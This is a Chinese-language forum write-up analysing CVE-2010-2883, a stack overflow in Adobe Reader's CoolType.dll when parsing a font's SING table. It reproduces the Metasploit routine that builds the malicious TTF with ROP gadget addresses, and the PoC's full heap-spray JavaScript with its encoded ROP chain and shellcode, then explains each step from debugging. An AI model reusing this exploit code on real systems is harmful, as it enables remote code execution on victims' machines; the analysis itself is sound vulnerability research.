查看原文
其他

没有比我更详细的CVE-2010-2883分析了

LarryS 看雪学苑 2022-07-01
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS


1


漏洞描述与思考


该漏洞是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。

 

之前漏洞分析一直参考的0day这本书,这次开始看《漏洞战争》,(只针对这一个漏洞)发现里面对于一些细节并没有特别说明,导致我在分析的时候还是满头雾水,虽然按照书中的介绍也能够分析出来,但还是觉得各个步骤之间的逻辑关系不够明确。

 

现在已知存在漏洞的文件,同时书中配套资料也提供了poc的PDF文件。我首先想知道的是文件字体SING表究竟是什么东西,以及CoolType.dll文件中具体哪里存在漏洞这两个问题。


1.1 SING表是什么?


我直接做了一张思维导图,包含了TTF文件和SING表的结构组成:

 

 
TTF文件的结构十分简单,它是由一系列的表组成的,开头是一个Font Directory,记录了整个文件以及各个表的信息。

每个表都有一个四字节的标签,SING就是一个标签。要注意的是,每个Table Directory的顺序和后面的各个表的顺序并不是一一对应的,要根据Table Directory中的offset值找到对应表的位置。
 
每个表都包含了关于字体的不同信息,SING(Smart INdependent Glyphlets)表中包含的是和生僻字有关的信息。



2


定位漏洞位置


在IDA中打开CoolType.dll这个文件,搜索SING字符串,查看其交叉引用:
 
 
在第二项中,可以看到在引用SING字符串下面的不远处,有一个strcat函数调用,所以大概率应该就是这里存在漏洞了,位于函数0x803DCF9中。
 
看一下漏洞所在函数的代码:
 
 
上面的代码已经做了部分处理和注释,这里用到一个技巧,就是按Shift+F1,打开LocalTypes窗口,再按Insert,插入C语言写的结构体SING,然后修改变量类型为SING,这样比较方便分析。
 
 
从上面这段代码判断可以得出一些简单的结论,TTF文件中不存在name表,sing表的tableVersionMajor等于0或者0x100。这种情况下会到达漏洞处。
 
其实前面还有一些判断条件我没有确定是什么意思,但目前只能分析到这个程度,虽然再花时间也能分析出来,但是会花费太长时间,所以我选择继续分析其他内容。


3


POC分析


3.1 TTF文件


3.1.1 文件结构


TTF文件的提取可以使用PDFStreamDumper:
 
 
可以看到其中的SING字符串,如果查看Stream Details也能够看到这是一个ttf类型。然后右键选择Save Decompressed Stream,在010editor中打开这个文件,可以直观的看到TTF的结构:
 


3.1.2 msf exploit中的make_ttf

紧接着上面看到的TTF文件,看一下msf是怎么构建这个文件的:
def make_ttf        ttf_data = ""        # load the static ttf file        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)        path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )        fd = File.open( path, "rb" )        ttf_data = fd.read(fd.stat.size)        fd.close        # Build the SING table        sing = ''        sing << [            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)            0xe01,  # glyphletVersion            0x100,  # embeddingInfo            0,      # mainGID            0,      # unitsPerEm            0,      # vertAdvance            0x3a00  # vertOrigin        ].pack('vvvvvvvv')        # uniqueName        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"        #sing << "A" * (0x254 - sing.length)        sing << rand_text(0x254 - sing.length)        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)        sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')        # This becomes our new EIP (puts esp to stack buffer)        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret        sing[0x208, 4] = [ret].pack('V')        # This becomes the new eip after the first return        ret = 0x4a82a714        sing[0x18, 4] = [ret].pack('V')        # This becomes the new esp after the first return        esp = 0x0c0c0c0c        sing[0x1c, 4] = [esp].pack('V')        # Without the following, sub_801ba57 returns 0.        sing[0x24c, 4] = [0x6c].pack('V')        ttf_data[0xec, 4] = "SING"        ttf_data[0x11c, sing.length] = sing        ttf_data    end

msf使用的基础TTF文件是Vera.ttf (785d2fd45984c6548763ae6702d83e20),然后对这个文件内容进行修改。
 
然后开始构造SING表,前十六个字节如下,可以看到tableVersionMajor设成了0:

sing << [    0, 1,   # tableVersionMajor, tableVersionMinor (0.1)    0xe01,  # glyphletVersion    0x100,  # embeddingInfo    0,      # mainGID    0,      # unitsPerEm    0,      # vertAdvance    0x3a00  # vertOrigin].pack('vvvvvvvv')

uniqueName字段先是被初始化成了随机字符sing << rand_text(0x254 - sing.length),然后再设置几个特殊位置用于作为跳转地址,这部分内容先不考虑,等之后开始调试再分析。
 
最后设置了ttf文件的0xec和0x11c的位置,我们可以看一下原始的Vera.ttf文件,这两个位置上是什么内容:
 

 
从上图可以看出来,代码其实是将原本的name表的tag修改成了sing,同时用sing表的内容替换了位于0x11C的原本name表的内容。这也与静态分析的结论相符合——TTF文件中不存在name表。

3.2 调试分析


3.2.1 三个特殊位置顺利分析


在上面有看到TTF文件中设置了几个特殊的位置,分别是:

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer)ret = 0x4a80cb38 # add ebp, 0x794 / leave / retsing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first returnret = 0x4a82a714sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first returnesp = 0x0c0c0c0csing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0.sing[0x24c, 4] = [0x6c].pack('V')

下面通过调试确定这几个位置的作用。
 
找到了漏洞的位置之后,使用之前在0day上学习到的调试PDF漏洞的方法,使用OD打开Adobe Reader,选择File→Open,在打开POC之前,在0x803DCF9这里设置一个断点,然后打开POC文件,OD会断在断点位置,在这里打一个快照方便之后回溯。
 
然后执行到0x0803DDAB的strcat调用处,F8执行,可以看到0x12E4D8已经被写入了sing表的uniquename内容:
 

 
接下来要确定程序的执行流程是在哪里被劫持的,直接在复制的这段数据上设置内存访问断点(这个方法很好,一开始我还想靠代码分析,后来发现完全不行,太复杂了),F9执行。
 
接下来会经历两次对该段数据的遍历,这里不用管,已知到达了一个调用:
 
 
注意到这里调用的地址就保存在uniquename中,也就是上面提到的第二个特殊位置:

# This becomes our new EIP (puts esp to stack buffer)ret = 0x4a80cb38 # add ebp, 0x794 / leave / retsing[0x208, 4] = [ret].pack('V')

进入该调用,此时寄存器的情况: 
 
add ebp, 0x794 / leave这两句指令会更新ebp和esp寄存器,leave指令相当于mov esp, ebp / pop ebp,相当于:ebp = ebp + 0x794;  // 0x12e4dc,注意这个地址是uniquename中的第五个字节所在位置。

esp = ebp;
ebp = [0x12e4dc];// 0xe78b53ab
esp = esp + 4;// 0x12e4e0

所以最后执行完retn指令,相当于把uniquename中的第9~12个字节作为了下一个跳转地址,也就是上面提到的第三个特殊位置:

# This becomes the new eip after the first returnret = 0x4a82a714sing[0x18, 4] = [ret].pack('V')      # 注意这个偏移0x18是从sing表的开头计算

uniquename中的第13~16字节是0x0C0C0C0C,也就是上面提到的第四个特殊位置:

# This becomes the new esp after the first returnesp = 0x0c0c0c0csing[0x1c, 4] = [esp].pack('V')

而0x4a82a714处的指令为pop esp / retn,所以从这一步之后,栈顶就到了payload所在的位置了 。


到目前位置已经确定了三个特殊位置字节的作用,但是还有第一个和第五个特殊位置不知道有什么用。

3.2.2 确定了另一个特殊位置


为了测试这两个位置字节的作用,在执行strcat之前,手工修改要复制的内容(后来通过修改msf的脚本直接在kali里面生成TTF文件,下面写了):
 
 
其中绿框圈中的是已知的特殊位置,蓝框圈中的是未知特殊位置。
 
然后还是设置内存访问断点,F9开始调试,跳过前两遍遍历之后,到达了下面这个位置:
 
 
这个时候如果继续F9,程序会直接退出,所以这里F7进入下面那个call指令,会到达下面的位置:
 

注意这里赋给ECX寄存器0x12E45C处存储的值,也就是我们关注的第一个特殊位置,继续F8,到达这里:
 
 
总结下来:

ecx = [0x12e45c];eax = ecx + 0x1c;--eax;

所以0x12e45c这里一定要存储一个可写的地址,这也是代码中有一个- 0x1c的原因。

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')

看一下内存空间:
 
 
手动把EAX的值改成0x4a8a08e2,让程序可以继续执行。
 
结果继续F9,程序成功到达了payload的位置。那第五个特殊位置的值到底有什么用?

3.2.3 剩下最后一个特殊位置


其实一开始我也想到要执行执行ruby的脚本获取测试用TTF文件,但是嫌弃它有点麻烦,就先采取了手工修改内存的方式,结果还是出了问题。
 
因为我没有仔细注意uniquename的长度问题,可以对比一下是否添加sing[0x24c, 4] = [0x6c].pack('V')这句代码,得到的TTF文件的差别:
 
 
所以一定要设置一个\x00的结尾字符,否则strcat无法判断字符串结尾,会一直向后复制。
 
注:这里我想到了CVE-2009-0927这个漏洞,是否可以复制超长字符串引发异常,然后覆盖异常处理函数的方法,但是后来发现不行,因为第一个异常处理函数并没有被覆盖到。
 
然后现在的问题就在于是否一定要设置6C这个字符(根据上面的实验结果应该是不需要的),以及是否一定要设置在0x24c这个位置上。
 
因为之前已经确定了几个特殊位置,我决定把上面的那句代码修改为sing[0x20c, 4] = [0x00].pack('V'),经过测试仍然可以到达payload位置执行。
 
所以第五个特殊位置只是为了保证字符串有一个\x00的结尾(因为实验次数不多,而且没有看代码,这个结论不敢保证100%正确):

# Without the following, sub_801ba57 returns 0.sing[0x24c, 4] = [0x6c].pack('V')



4


关于payload的一些思考


4.1 javascript代码与堆内存的构成


4.1.1 0x0C0C0C0C的秘密


我并没有想再完整的分析完payload的内容,但是在调试的过程中,确实存在一些问题想要弄清楚。
 
目前还没有看poc中javascript的代码是什么样子的,不过知道采用的仍旧是堆喷射的手法。

在之前学习堆喷射的时候,了解到的是javascipt在堆中分配一大块内存,把shellcode放在里面,其余内存设置为\x90,然后在溢出时覆盖跳转地址为0x0C0C0C0C,这个地址一定在堆分配的地址中,这样经过了一段nop指令之后,一定会命中shellcode。
 
可是在调试这个漏洞的时候,发现程序在到达0x0C0C0C0C之后,需要的数据刚好位于0x0C0C0C0C的位置,所以这里的javascript的代码肯定和我一开始想的不太一样:
 
 
从PDF中提取出来的javascript代码如下:

var PVtXNSbsBDH = unescape;var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK;dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2);dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK;dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK;jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2);while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD;MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2);var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array();for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";

我做了一些整理,得到下面的代码:

var code = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );      // 650字节,325长度var nop_string = unescape( "%u0c0c%u0c0c" );while (nop_string.length + 20 + 8 < 65536)    nop_string += nop_string;block = nop_string.substring(0, (0x0c0c-0x24)/2);   // 3048 Bblock += code;block += nop_string;temp = block.substring(0, 65536/2);         // 64 KBwhile(temp.length < 0x80000)    temp += temp;                          // 1 MBdata = temp.substring(0, 0x80000 - (0x1020-0x08) / 2);var array_d = new Array();for (i = 0; i < 0x1f0; i++)    array_d[i] = data + "s";

在理解为什么0x0C0C0C0C的位置恰好是需要的数据时,有一个知识点需要知道:系统在分配内存的时候,低二字节的地址不会改变,比如第一次申请的地址可能是0x123450000,第二次可能变成了0x23450000,但是后面的四位是不变的。
 
知道了这一点,我们看代码中得到的一个64KB的数据段temp = block.substring(0, 65536/2);,要知道64KB就是0x10000字节,刚刚好就占据了后四位地址,也就是说不管内存怎么分配,这64KB数据的相对位置都是不变的。
 
总结下来,array_d中的每个元素(1M数据)的结构是这样的:
 
 
所以,0x0C0C0C0C的位置永远都是需要的数据。

4.1.2 关于头部的大小


在0day安全中,在讲堆喷射的时候,提到了”Java会为申请到的内存添加一些额外的信息“,前面会添加32字节的头部和4字节的字符串大小,但是我在调试的时候发现,查看内存布局,1M内存里面只有前面的32个字节是添加的数据。

可能是关键字不对,我也没有搜索到什么资料,不知道有没有大佬知道细节。
 


4.2 ROP流程


我其实不太熟悉ROP(Return-Oriented Programming)的概念,但是查了一些资料,感觉原理和ret2libc差不多,所以这里跟踪调试一下整个流程。
 
这部分还要涉及到上面TTF文件分析的部分内容,要从3.2.1里面提到的call [eax]开始说起,因为从这里开始,就已经进入ROP了。

call    dword ptr [eax]   ; 跳转到0x4A80CB38,该地址位于icucnv36.dll这个文件中 add    ebp, 0x794         ; 在执行前,ebp等于0x12DD48,执行完等于0x12E4DC,这个地址指向我们控制的数据中leave                     ; 将ebp的值赋给espretn                      ; 流程劫持,弹出栈顶的值给eip,栈顶是我们控制的数据                          ; 通过retn,获取下一个流程地址0x4A82A714,该地址也位于icucnv36.dllpop    esp                ; 把栈顶元素弹出给esp,esp=0x0C0C0C0Cretn                      ; 栈顶到达了0x0C0C0C0C,栈顶元素作为下一个流程地址,0x4A8063A5,位于icucnv36.dll                          ; 这里的流程地址就已经开始写在javascript代码中了

上面的三段流程就对应了之前提到的TTF文件中的第2、3、4三个特殊位置,然后开始javascript部分。看一下栈中数据,这部分内容来自msf脚本:
 
 
以上就是ROP的整个流程了,虽然很长,但是分成不同的模块之后就会发现,主要模块有两个(绿色和蓝色),分别用于准备函数参数和进行函数调用,紫色模块就是一些数值操作。



5


总结

这次的漏洞分析学习到了一下几点知识:
  • TTF文件的结构

  • PDF文件分析工具PDFStreamDumper

  • 通过设置内存断点来监控payload的使用

  • ROP的攻击方式:其实无论是TTF文件uniquename中的几个特殊位置,还是javascript中的栈中数据,都是在执行ROP流程,这样一想就好理解很多

  • 堆喷射怎样在固定位置设置数据

  • 参考资料

  1. 《漏洞战争》

  2. CVE-2010-2883字体文件SING表栈溢出

  3. TTF Documentation

  4. CVE-2010-2883分析



 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

  *本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区




# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存